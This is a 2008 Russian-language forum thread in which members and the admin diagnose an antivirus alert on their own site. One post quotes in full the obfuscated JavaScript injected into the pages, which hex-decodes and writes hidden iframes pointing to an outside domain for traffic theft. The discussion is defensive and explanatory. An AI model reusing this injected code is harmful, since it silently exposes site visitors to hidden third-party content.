Здравствуйте, гость ( Вход | Регистрация )
  |
| Misty Rain |
 13 March 2008, 01:36 AM
Сообщение
#7951
|
||
 Сообщений: 2 577 Репутация: 350 points Регистрация: 30/10/2007 Пользователь №: 1 Пол:   |
Да, вот только скрипта я не вижу в упор (IMG:style_emoticons/default4/death.gif) остается вопрос — каким образом в конец каждого индекс-файла дописывается код этой ерунды? (IMG:style_emoticons/default4/death.gif)
|
||
   |
 
|
||
| Sh@rky |
13 March 2008, 01:39 AM
Сообщение
#7952
|
||
 Сообщений: 5 593 Репутация: 884 points Кланы: Soft Team, Sevas Tra Регистрация: 27/8/2006 Пользователь №: 1 678 Пол: |
Цитата(SeidaliN @ 13 March 2008, 12:34 AM)  угу, Мисту присуще некое программерское рыцарское благородство... (IMG:style_emoticons/default4/spitfire.gif) (IMG:style_emoticons/default4/crazy.gif) Мист — готишный рыцарь-програмёр (IMG:style_emoticons/default4/gi.gif) |
||
|
|
|
||
| SeidaliN |
13 March 2008, 02:09 AM
Сообщение
#7953
|
||
 Сообщений: 7 464 Репутация: 846 points Клан: Soft Team Регистрация: 6/9/2006 Пользователь №: 1 797 Пол: |
Цитата(Misty Rain @ 13 March 2008, 03:36 AM) Да, вот только скрипта я не вижу в упор (IMG:style_emoticons/default4/death.gif) остается вопрос — каким образом в конец каждого индекс-файла дописывается код этой ерунды? (IMG:style_emoticons/default4/death.gif) если бы знал, то наверна уже миром правил бы (IMG:style_emoticons/default4/the_world_is_mine.gif) Цитата(Sh@rky @ 13 March 2008, 03:39 AM) Тамплиеры, Госпитальеры и Тевтонцы вместе взятые нервно курят в сторонке (IMG:style_emoticons/default4/ktulubiggrin.gif) |
||
|
|
|
||
| Astronom |
14 March 2008, 04:14 AM
Сообщение
#7954
|
||
 Сообщений: 1 361 Репутация: 172 points Клан: Soft Team Регистрация: 2/2/2007 Пользователь №: 4 392 Пол: |
Че за нах после авторизации?
Цитата (Касперыч, 7-й) обнаружено: троянская программа Trojan-Downloader.VBS.Psyme.gf URL: http://forum.evans-slipknot.com/index.php <...> Это только у меня такая карма хреновая? (IMG:style_emoticons/default4/death.gif) |
||
|
|
|
||
| Sh@rky |
14 March 2008, 09:17 AM
Сообщение
#7955
|
||
Сообщений: 5 593 Репутация: 884 points Кланы: Soft Team, Sevas Tra Регистрация: 27/8/2006 Пользователь №: 1 678 Пол: |
Цитата(Astronom @ 14 March 2008, 03:14 AM) Че за нах после авторизации? Это только у меня такая карма хреновая? (IMG:style_emoticons/default4/death.gif) ты не первый)) |
||
|
|
|
||
| Misty Rain |
14 March 2008, 10:56 AM
Сообщение
#7956
|
||
Сообщений: 2 577 Репутация: 350 points Регистрация: 30/10/2007 Пользователь №: 1 Пол: |
Прошу привести точную строку с ним, поскольку я все, что нашел, убил (IMG:style_emoticons/default4/death.gif)
|
||
|
|
|
||
| Nyssa |
14 March 2008, 09:32 PM
Сообщение
#7957
|
||
 Сообщений: 4 805 Репутация: 808 points Регистрация: 31/3/2007 Пользователь №: 5 064 Пол:  |
не флуд, а разбор технических вопросов какой-то (IMG:style_emoticons/default4/unsure.gif)
|
||
|
|
|
||
| Misty Rain |
14 March 2008, 09:35 PM
Сообщение
#7958
|
||
Сообщений: 2 577 Репутация: 350 points Регистрация: 30/10/2007 Пользователь №: 1 Пол: |
Кроме того, здесь нет VBS вообще (IMG:style_emoticons/default4/death.gif)
|
||
|
|
|
||
| redfill |
14 March 2008, 11:50 PM
Сообщение
#7959
|
||
 Сообщений: 3 672 Репутация: 905 points Кланы: Sevas Tra, Soft Team Регистрация: 24/10/2006 Пользователь №: 2 410 Пол: |
это технический флуд (IMG:style_emoticons/default4/drag.gif)
|
||
|
|
|
||
| Misty Rain |
14 March 2008, 11:51 PM
Сообщение
#7960
|
||
Сообщений: 2 577 Репутация: 350 points Регистрация: 30/10/2007 Пользователь №: 1 Пол: |
Верно замечено (IMG:style_emoticons/default4/smile.gif)
|
||
|
|
|
||
| SeidaliN |
15 March 2008, 01:41 AM
Сообщение
#7961
|
||
Сообщений: 7 464 Репутация: 846 points Клан: Soft Team Регистрация: 6/9/2006 Пользователь №: 1 797 Пол: |
ну что Господа Знатоки, продолжим-с (IMG:style_emoticons/default4/crazy.gif)
|
||
|
|
|
||
| Astronom |
15 March 2008, 07:15 AM
Сообщение
#7962
|
||
Сообщений: 1 361 Репутация: 172 points Клан: Soft Team Регистрация: 2/2/2007 Пользователь №: 4 392 Пол: |
Цитата(Misty Rain @ 14 March 2008, 09:56 AM) Прошу привести точную строку с ним, поскольку я все, что нашел, убил (IMG:style_emoticons/default4/death.gif) Точную строку чего? Отчета антивируса? (IMG:style_emoticons/default4/blink.gif) Щас пороюсь ... ... порылся Цитата обнаружено: троянская программа Trojan-Downloader.VBS.Psyme.gf URL: http://forum.evans-slipknot.com/index.php?...mp;CookieDate=1 Вот что говорит по этому поводу Dr.Web: http://info.drweb.com/search/?q=psyme&...e=10&page=1 Вот что еще про него говорят: http://research.sunbelt-software.com/threa...threatid=171498 Есть на страничке кусочек интересный (над «<!DOCTYPE html PUBLIC »-//W3C//DTD XHTML 1.0 Transitional//EN« »http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd«>»): Код <script>function v47d8414507358(v47d8414507b48){ var v47d8414508324=16; return(parseInt(v47d8414507b48,v47d8414508324));}function v47d84145094b2(v47d8414509c7c){ function v47d841450b3fa () {var v47d841450bbe6=2; return v47d841450bbe6;} var v47d841450a44a='';for(v47d841450ac29=0; v47d841450ac29<v47d8414509c7c.length; v47d841450ac29+=v47d841450b3fa()){ v47d841450a44a+=(String.fromCharCode(v47d8414507358(v47d8414509c7c.substr(v47d841450ac29, v47d841450b3fa()))));}return v47d841450a44a;} document.write(v47d84145094b2(& #39;3C696672616D65206E616D653D276631346665393927207372633D27687474703A2F2F736578 6D6F69742E696E666F2F676F2F696672616D652E706870272077696474683D363035206865696768 743D313232207374796C653D27646973706C61793A6E6F6E65273E3C2F696672616D653E'));</script><script>function v47d8416e75047(v47d8416e75857){ function v47d8416e76067 () {var v47d8416e76896=16; return v47d8416e76896;} return(parseInt(v47d8416e75857,v47d8416e76067()));}function v47d8416e77087(v47d8416e77897){ var v47d8416e790c6=2; var v47d8416e780a7='';for(v47d8416e788b6=0; v47d8416e788b6<v47d8416e77897.length; v47d8416e788b6+=v47d8416e790c6){ v47d8416e780a7+=(String.fromCharCode(v47d8416e75047(v47d8416e77897.substr(v47d8416e788b6, v47d8416e790c6))));}return v47d8416e780a7;} document.write(v47d8416e77087(& #39;3C696672616D65206E616D653D2736393627207372633D27687474703A2F2F7365786D6F6974 2E696E666F2F676F2F696672616D652E706870272077696474683D343134206865696768743D3430 35207374796C653D27646973706C61793A6E6F6E65273E3C2F696672616D653E'));</script> Похоже, что ругается на него. |
||
|
|
|
||
| terom |
15 March 2008, 09:53 AM
Сообщение
#7963
|
||
Сообщений: 3 256 Репутация: 264 points Регистрация: 10/7/2006 Пользователь №: 1 325 Пол: |
А чо без них скушно на форе!!! (IMG:style_emoticons/default4/spiteful.gif)
|
||
|
|
|
||
| Misty Rain |
15 March 2008, 01:13 PM
Сообщение
#7964
|
||
Сообщений: 2 577 Репутация: 350 points Регистрация: 30/10/2007 Пользователь №: 1 Пол: |
Astronom, обнови кеш страниц — я уже давно это все вычистил (IMG:style_emoticons/default4/smile.gif)
А код этот и есть троян, только VBS там в упор нет (IMG:style_emoticons/default4/biggrin.gif) он делает iframe для хищения траффика (применяется для нелегальной раскрутки сайтов путем кражи траффика). Я так и не нашел скрипт, который это все делает, но меня это не сильно волнует, поскольку после обновления ни одного старого скрипта на хосте не останется — форум будет обновлен вручную, на сайте будет написана CMS с полной интеграцией с форумом, все пароли на БД, ФТП и АЦП будут сменены, так что причин для волнений нет (IMG:style_emoticons/default4/smile.gif) |
||
|
|
|
||
| redfill |
15 March 2008, 02:09 PM
Сообщение
#7965
|
||
Сообщений: 3 672 Репутация: 905 points Кланы: Sevas Tra, Soft Team Регистрация: 24/10/2006 Пользователь №: 2 410 Пол: |
Вот это флуд так флуд! (IMG:style_emoticons/default4/gi.gif)
|
||
|
|
|
||
|
4 чел. читают эту тему (гостей: 4, скрытых пользователей: 0)
Пользователей: 0 |
 |
Текстовая версия |
|